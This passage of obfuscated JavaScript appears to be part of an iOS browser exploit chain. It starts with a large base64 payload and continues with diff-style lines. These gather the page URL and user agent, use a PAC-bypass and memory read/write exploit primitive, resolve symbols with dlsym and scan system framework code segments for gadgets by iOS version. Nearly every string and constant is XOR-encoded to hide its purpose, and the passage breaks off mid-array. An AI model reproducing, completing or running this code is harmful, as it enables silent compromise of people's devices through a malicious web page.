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8AZAB1AGMAdACVLpcuAAByA2sArAMtAF0CdAAtAG8DbwB9AXIA1AN/LgAASQBPAFAAgAJ0AO4BcgBtAHouvAFhAGwATgBoLmIAfgG/AzIEiy53LhgE2QPKA6cDtC6rA60DAATJLrIDoy7VA6cDQQAvAMwutQNqEU8ATQBhAJYDcgBQAKQDdABEAJ4CYQB1AGwANAG0LlIAZQBnAJouigJ5AEUAbgDtLqADbwBtAFAA1QLkA+gu6i7sLp0D7y7tLkMAnQLVAmUAHAScLq4ufgF0APMktC5PAJEBYS50AOkubABlANwuBQK0LuIufC5+LlQAnQJlADoAcxtXAGUAYgD3AzEB8C7OG0UATADfFVMARQA+BG4AdQAtACcvKS9aLi0vWC4uLyUAKgBiAV8AZAC8AXYAwy6mLqguBC9uAC0AcwCRLn4usy5yLvwDZgBDLmUAUgBvADECAABNAJABaQAOL1MAdADOAy8AMQAuALIBaAB0AHQAcAAZL3MbVi9YL3MAWi8AAGEAcACZLkIu/gNuAC8AagBzAKgBAABHAEUAIAFQAHIuIAFVAD4vcgAtAEEAXQIgLx4vZQDwLi0AVAB5AH0BAABcL3AAYgF7AFwAIgBlAIUvOgAlAHUALACFL2wAiC+KL30AAACEL4Yvjy+LL4UvZgCIL4UvJQBzAIUvjC8iAI4vIgCJL3UAkS97ACIAYwBpLqEvny9vAGcAbQBzAGcAIgAsACIATy7TGDoApS+tL68vOgAiAJsvIgB9AJEvPS4uAG0Ani57AbkZcwCbL8QvLwDGL3Mbei9kAEIAQy5rAGcAnS7SA0UpcwBrAPYhAADCLusubgDNL2MAzy/RLy8u0y9rAFcArANoAEUAeABwAGkACASoAQ0WLy4OL3IA1i9KDwUB9AIOBAgBLSkiAfUvYQPwLwQAJAOIAQQAEAIEAGUoBABjDYgB5QFBAa8gBjCBAGkBIQFmASoCBAHaDboFlAJBCS0BfAAIAdwAtQGPKrcDQwEGAFsgLAMZAQEA7AAmAyIR0gcEANgAiR2kAO4G9x4MAQQAOAAYAzQADREBAKwA+BcDALQA7AgHALAACgUGACQAswcDAJQAPQt6AqUGBgCsAGsdRAA4EwUApABJCC8wVAMCADwAVwMDAOAAyShwAC4AzRIUABkIAgCsABkIAQDIACQKOzBfA9Eq9iECAKQA9iEJAJAAFx0EAHQACBHMALoRBQCoACYvBAAsAEscBQCgACANfyxPAAYBoAAoAwgAPgEAAAcAHwC9DO8JtQHsEZQCwQLiAXoAXwYBAHgAHgD3HgwACgXyLxoDYACdAEwGkDD/APcvIQFEAA4AEAD1CJ0ADgPcBAgDFAEwAO8BIQGUAJ8wFAG0AMUBDQFEBHYC/gSpMKowqzCsMK0wrjCvMLAwsTCyMLMwtDC1MLYwtzC4MLkwujC7MLwwvTC+ML8wwDDBMMIwwzDEMMUwxjDHMMgwyTDKMMswzDDNMM4wzzDQMNEw0jDTMNQw1TDWMNcw2DDZMNow2zDcMN0w3jDfMOAw4TDiMOMw5DDlMOYw5zDoMOkw6jCaBPQAhQEiAbcA4gPwMPYB8jAUASQA9DAfA/cwBQE8APkwrCS6BSEBIBAiAWgA/jAUAXQAAzEIAYAABjEFAYwACTEnCAwxSAD8MFQA/DBgAPwwpAAMMWwA/DB4APwwhAD8MJAA/DCcAPwwqAD8MLQA/DDAAPwwzAD8MNgA/DDkAPww8AD8MPwA/DAIAAwxFAAMMSAADDEsAAwxOAAMMUQADDGwAAwxvAAMMcgADDHUAAwx4AAMMewADDHcAO4wFAH4AAwxBACrJhQBEABPMQgBHABSMQUBKABVMTQHWDGuBSIBTABYMVgAWDFkAFgxcABYMXwAWDGIAFgx6ABKMfkBWDGgAFgxrABYMbgAWDHEAFgx0ABYMdwAaDFYMfQAWDEAALoA4gN9MfYBfzH1MIExHwODMfowhTFYD4cxVACHMWAAhzFsAIcxeACHMYQAhzGQAIcxnACHMagAhzG0AIcxwACHMcwAhzHYAIcx5ACHMfAAhzH8AIcxCAClMMMNqTGAL/UBFAHhAeswsDGxMbIxszG0MbUxtjG3MbgxuTG6MbsxvDG9Mb4xvzHAMcExwjHDMcQxxTHGMccxyDHJMcoxyzHMMc0xzjHPMdAx0THSMdMx1DHVMdYx1zHYMdkx2jHbMdwx3THeMd8x4DHhMeIxdgQRACEATQ1TAAUDYACiLCEBFQ+PAZEBkwG3L3ouLy4AAFEAcQBwALMpQABfABoWSgBDABwCTABBAFMAUwBfACQAXwCpA0EAYi9oA2Qv4QNyAOgABQCtBQUySQDbL90v0QPfL9wuahFuAHYAvi5pAFwucQuQABQA+TGbIUYAQQBmLm8AZC+kA+IuRC/lLjQBgAAQAA8yITJCAEgvDi8uLkYAvi4+L2cZIDIcBFIA5wFMAEgvcADNA20AwS9uAEsvZACyLoAAEAY4MkYAOjJuADwyri4oMuQu5i5DMgUCkADZCF8AITJIAFQAVABQANIuqAExAF8AAwOAAMcnkTCQMAEALjIcBE8v/y70Lp0ury4GL1cyWTIDL3gA8yQsMmUyRgBnMg8vaTIEL7AueQBtMlAA6S5zAHAAqAE+L0gADy9EMn8BczJ1MtcBAy9rMnkAATJMAHouVy+9AVAuNzJVMmYyigJ2MowyVgAaMtMDfy5DAAUvaQD5A2QvAS9oAGEAvQFnGdQcXwBTAEEATgBEAEIATwBYABwCSABFAEMASwBfAE4ATwBfAFIARQBvL4YNRwGYAGIyYzIPMrQyUwD3A2MAnQIxAU8vzi9CAGwAJTJrAEcBRzIbAaouuQFwAHUAuQFhL2EAYgBNL6wDaQCyLg8yWwJELl8A1gLUL5sCbABmAHQOgABIAA8ydgBtAIgCXAJlANEBFjLNMugy6jItLl0CdgFHLlIyQAB1A2wA6wF3AWIAXwDXMi8uwy49AiEBfwEfMhwCRgBEANUCYQD+Lg8vMQFnGQAAPSIFMxwECDPWAkcA0wFCADYuZQBQAIoCDjNyABAAETMHMwkzFTN0AEwAei9nANQBHDMYAB8zRAB9LmUvjS4LMwAvHDMgACozLDPVA40uIjOYMmwAdQBSMg8zKAAfM0UAcQB1AL4uHDMwAB8zIjN9L30BSQBEABwzOABUMhwEezJNAH8ucwDsMgcyfQEvLhczMQFiAT0CcgBAAE0zRgBPM1Ez7DLNA3AAlymeLvMkWjNIAF0zXzOyAmEz/y4xAUUAbgMGLxwzUABpM1gyUABQM2szXQIvMzEB6S5AM38uNAFaM1gAdDNZMnczUjNdAiIzfTJ/MqkBZQDHMl8BcwDNA0QyHDNgAIIzdjNgM10CjjIwMnUDHDPaCvkxTjN1M4Qz7DKOMoIyYQCEMkYA2jL6MjgzOjMcM3AAHzOJMgUveQCaA14BejNlAOIv1AGHMpgCWjN4AB8z6S6jM7YzQwDKMjYyWjPxGbozgzK9M64uJSpqMq4zHDO7B10zuzNkAL0zbTPPA6QDezJ8MzozqgFaMy8mwzO8M5Uy1wGyM7Qz8wpNLzszcgCmGtkzzjPbM20ATwBVMxwzTQ3kM7YzzTMcM/0G7DPmM1MARC5lAJ8uDi/eM0oyTDIeA1ozsACdJJwzSTLEM/Iz0wG+M9oyIC9aM7gA/jMGM80ztjOOMq0zeTIcM/MWwzMyMsAzDzM1F7ozOzI9MiIzQwD8A50CBjQPM9AACTQ5Mhg0ri5KMkkAQjLCLxwzVAEXNEsyPTJPL64uHDP2Bh8zZzKQMt0z4y9DADM0vgEcM9AMMjSKApAyGjQ4NL8BWjPwACE0dDI9NL4BIjMkM74BJzNaM/gARDRANCIzxS7vLqcBZACQMhwzmw08NLwBRzTTAUczZQBJM8oz5RX/M1UAUgBMAGIzizL0M9gB1zNgNAYzYjRkNNAz8i5tAKUzTi+BLukubwN/Lnov1gJlLxwz1Q0fM2w0NTS1M0Y0QTQPMz0aOAmnMlApeQDWAW0AfS4uNJ0CZTRvMtoyWTMPM4UapjJcGcoy3C/uMWoACy9fANwuRi5nAC4D/DPjBfkxlDTLMpc0mTRUNH4ybwAUNHIAuACgNBsBXwB+AZ0uhTIPM1gk+THWMuAuHDNACaYyYgBILp0uHDOCJ6YyQi4kMpYIWjOQAjMPuQHzLnU0cQOoATQvYS7CL/4ydQBmAGYAATMPM84WpjJkAGwAsAKoNOEzuQLVNMoy6TNCNKw01jRzAIMCHDO4H6YyMgG1A8Ez2yD5MQICZQDhM4gA6jRfAKou5y9cLtcz8DRoAKg0dADsAfgD7wFaM5gA9jT4NFUySy57AV8ANy+WLuEDWjNNCqYy3TIAAvc0XgHiMvAnWjO7HPkxWwLBNBwzsADwNNIBbQBjAGMzHDO4ABg1lwM+L/k0kDRyAC0FCjVbAvszFTQDAO0xmgK+LpU0vTTwNK0ukwHzNF8CKTQwNdQB/y7rAdUCigLLNLsBbwBmM9M0NjUeCIMymjRXL3IA+jToNA8zvgWmMokCQjWjM0Q1OzUhNUQy1gJELl4BMDNCNEE1ODW5AdAz5DTwNFIzLy6FAngAuQF6AdwvVjQEAKYyPi8nNfc0nQJaNQwz7jRmNfkxaDVhL2o17TKcNMcCHDOQAG81mwJpNc4DXwB3AKMyfzMPM5gAeTWcNEMueTQINYM1bgBvA8QCEDWRNIM1cwBCLvgDFjWDNXg0HTWTNXIARC6xNCQ1ljWfLig1cgDIAJY11zTVAr00oDUbNT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")), this.xA = utilityModule.resolveUrlPadded(A), this.cA = B, this.iA = utilityModule.resolveUrlPadded(g), this.GA = !0; + let D = document.URL; + for (D += "\0"; D.length % 4 != 0;) D += "\0"; + let M = navigator.userAgent; + for (this.OA = utilityModule.utf16Decode(D), M += "\0"; M.length % 4 != 0;) M += "\0"; + this.KA = utilityModule.utf16Decode(M), this.RA = new Offset64(0, 0), this.kA = new Offset64(0, 0), this.zA = new Offset64(0, 0) + } + length() { + return 2 * (this.yA.length + this.oA.length + this.xA.length + this.cA.length + this.OA.length + this.KA.length + this.iA.length) + } + FA(A) { + this.RA = A + } + VA() { + return this.RA + } + YA() { + return this.RA.add(2 * this.oA.length) + } + HA() { + let A = this.VA(); + return null !== A && (A = A.add(this.length())), A + } + SA(A) { + const B = this.VA(); + let g = B.add(2 * this.oA.length).add(2 * this.yA.length); + const Q = g.add(2 * this.cA.length), + D = Q.add(2 * this.xA.length), + M = D.add(2 * this.OA.length), + w = M.add(2 * this.KA.length), + C = w.add(2 * this.iA.length); + let I = null; + const E = new Offset64(B.it, B.et), + U = new Offset64(g.it, g.et), + N = new Offset64(Q.it, Q.et), + F = new Offset64(D.it, D.et), + k = new Offset64(M.it, M.et), + T = new Offset64(w.it, w.et), + S = new Offset64(A.it, A.et), + o = new Offset64(C.it, C.et), + G = new Offset64(this.kA.it, this.kA.et), + Y = new Offset64(this.zA.it, this.zA.et); + let L = new Offset64(0, 0), + R = new Offset64(0, 0), + c = new Offset64(0, 0), + V = new Offset64(0, 0), + q = new Offset64(0, 0), + s = new Offset64(0, 0), + H = new Offset64(0, 0), + l = new Offset64(0, 0), + K = new Offset64(0, 0); + const J = new Offset64(0 | platformModule.platformState.kn, 0), + i = new Offset64(platformModule.platformState.Pn ? 1 : 0, 0); + if (null !== platformModule.platformState.caller && !0 === platformModule.platformState.qn) { + const A = platformModule.platformState.pacBypass, + B = platformModule.platformState.exploitPrimitive, + g = platformModule.cr(), + Q = g.Sh(), + D = g.bh(([61, 61, 54, 39, 58, 54].map(x => { + return String.fromCharCode(x ^ 98); + }).join("")), ([6, 6, 45, 60, 33, 45].map(x => { + return String.fromCharCode(x ^ 89); + }).join(""))), + M = g.dlsym(([104, 109, 121, 4, 125, 100, 116, 6, 1, 93, 94, 67, 120, 71, 82, 69, 86, 67, 94, 88, 89, 123, 94, 68, 67, 114].map(x => { + return String.fromCharCode(x ^ 55); + }).join(""))), + w = B.readRawBigInt(M), + C = B.read32(w - 4), + I = function(A, g) { + for (let Q = 0; Q < C; Q++) { + const M = B.readRawBigInt(w + 16 * Q), + C = 8; + if (D.qe <= M && M <= D.qe + D.Oo - C && B.read32(M) === A && B.read32(M + 4) === g) return B.readInt64FromOffset(w + 16 * Q + 8) + } + return utilityModule.Int64.fromNumber(0) + }((4294967296 + (1815693649 ^ -1095734404)), (4294967296 + (1261726303 ^ -1674877422))); + if (I.Et()) throw new Error("I.Et()"); + H = new Offset64(I.it, I.et); + const E = (1094272596 ^ 1094258501), + U = function(A, g) { + const D = Q.Jh(A)._h(([45, 45, 38, 55, 42, 38].map(x => { + return String.fromCharCode(x ^ 114); + }).join("")), ([46, 46, 5, 20, 9, 5].map(x => { + return String.fromCharCode(x ^ 113); + }).join(""))), + M = D.qe + D.Oo - 4 * g.length; + for (let A = D.qe; A <= M; A += 4) { + let Q = !0; + for (let D = 0; D < g.length; D++) + if (B.read32(A + 4 * D) !== g[D]) { + Q = !1; + break + } if (Q) return A + } + return 0 + }, + N = function(A, B, g) { + const Q = B(gA.Int64.fromNumber(A), gA.Int64.fromNumber(g)); + return new Offset64(Q.it, Q.et) + }; + let F = 0, + k = 0; + if (platformModule.platformState.iOSVersion >= (1985309763 ^ 1985475639) ? (F = U(([101, 25, 51, 57, 62, 47, 39, 101, 6, 35, 40, 56, 43, 56, 51, 101, 26, 56, 35, 60, 43, 62, 47, 12, 56, 43, 39, 47, 61, 37, 56, 33, 57, 101, 2, 37, 39, 47, 25, 34, 43, 56, 35, 36, 45, 100, 44, 56, 43, 39, 47, 61, 37, 56, 33, 101, 2, 37, 39, 47, 25, 34, 43, 56, 35, 36, 45].map(x => { + return String.fromCharCode(x ^ 74); + }).join("")), [(4294967296 + (1362583920 ^ -79994216)), (4294967296 + (1098151013 ^ -1812989836)), (4294967296 + (943810096 ^ -279023775))]), k = (1400321110 ^ 1400367158)) : platformModule.platformState.iOSVersion >= (1850763569 ^ 1850929441) ? (F = U(([75, 55, 29, 23, 16, 1, 9, 75, 40, 13, 6, 22, 5, 22, 29, 75, 34, 22, 5, 9, 1, 19, 11, 22, 15, 23, 75, 39, 11, 22, 1, 41, 40, 74, 2, 22, 5, 9, 1, 19, 11, 22, 15, 75, 39, 11, 22, 1, 41, 40].map(x => { + return String.fromCharCode(x ^ 100); + }).join("")), [(4294967296 + (1215117623 ^ -496944417)), (4294967296 + (1600285035 ^ -1913457222)), (4294967296 + (845756758 ^ -445239289))]), k = (1969898071 ^ 1969931953)) : platformModule.platformState.iOSVersion >= (1768779636 ^ 1768889828) ? (F = U(([90, 38, 12, 6, 1, 16, 24, 90, 57, 28, 23, 7, 20, 7, 12, 90, 51, 7, 20, 24, 16, 2, 26, 7, 30, 6, 90, 54, 26, 7, 16, 56, 57, 91, 19, 7, 20, 24, 16, 2, 26, 7, 30, 90, 54, 26, 7, 16, 56, 57].map(x => { + return String.fromCharCode(x ^ 117); + }).join("")), [(4294967296 + (759260783 ^ -2024970873)), (4294967296 + (946626871 ^ -353237882)), (4294967296 + (1365330550 ^ -2038545625))]), k = (1281845618 ^ 1281858143)) : platformModule.platformState.iOSVersion >= (1329876077 ^ 1330003309) ? (F = U(([66, 62, 20, 30, 25, 8, 0, 66, 33, 4, 15, 31, 12, 31, 20, 66, 61, 31, 4, 27, 12, 25, 8, 43, 31, 12, 0, 8, 26, 2, 31, 6, 30, 66, 37, 2, 0, 8, 62, 5, 12, 31, 4, 3, 10, 67, 11, 31, 12, 0, 8, 26, 2, 31, 6, 66, 37, 2, 0, 8, 62, 5, 12, 31, 4, 3, 10].map(x => { + return String.fromCharCode(x ^ 109); + }).join("")), [(4294967296 + (1280001392 ^ -431536488)), (4294967296 + (1869170283 ^ -1107682342)), (4294967296 + (1968653415 ^ -1572319946))]), k = (1685017431 ^ 1685047738)) : (F = U(([27, 103, 77, 71, 64, 81, 89, 27, 120, 93, 86, 70, 85, 70, 77, 27, 114, 70, 85, 89, 81, 67, 91, 70, 95, 71, 27, 121, 81, 80, 93, 85, 96, 91, 91, 88, 86, 91, 